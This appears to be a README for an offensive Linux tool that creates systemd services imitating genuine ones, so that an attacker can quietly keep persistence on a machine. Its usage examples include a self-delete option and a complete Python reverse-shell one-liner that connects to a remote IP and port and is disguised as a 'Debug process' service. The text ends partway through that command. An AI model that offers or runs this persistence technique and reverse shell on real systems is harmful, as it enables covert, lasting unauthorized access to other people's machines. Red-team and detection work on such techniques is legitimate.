Linux-Persistence

A Python script designed to automatically generate a systemd service that mimics an existing one. This can be utilized to subtly establish persistence on a machine by creating services that blend in with genuine ones.

⚠️ Warning

Use this script responsibly and ethically and all of that stuff... Only run it on systems where you have explicit permission to do so.

Prerequisites

• Python 3.x
• Systemd-based Linux distribution
• Superuser (root) permissions for creating systemd services.

Installation

git clone https://github.com/sc1341/Linux-Persistence
cd Linux-Persistence

Example Usage

Deploy a web server with self delete

sudo ./create_service.py "python3 -m http.server 8080" --description "Python HTTP Server" --self-delete

Deploy a web server

sudo ./create_service.py "python3 -m http.server 8080" --description "Python HTTP Server" --user ubuntu --group ubuntu --working-directory /home/ubuntu/webcontent/

Deploy a custom application

sudo ./create_service.py "/opt/my_app/my_app" --description "My Custom App" --user appuser --group appuser --working-directory /opt/my_app/

Create a reverse shell

./create_service.py "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.15.25',82));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\"" --description "Debug process.
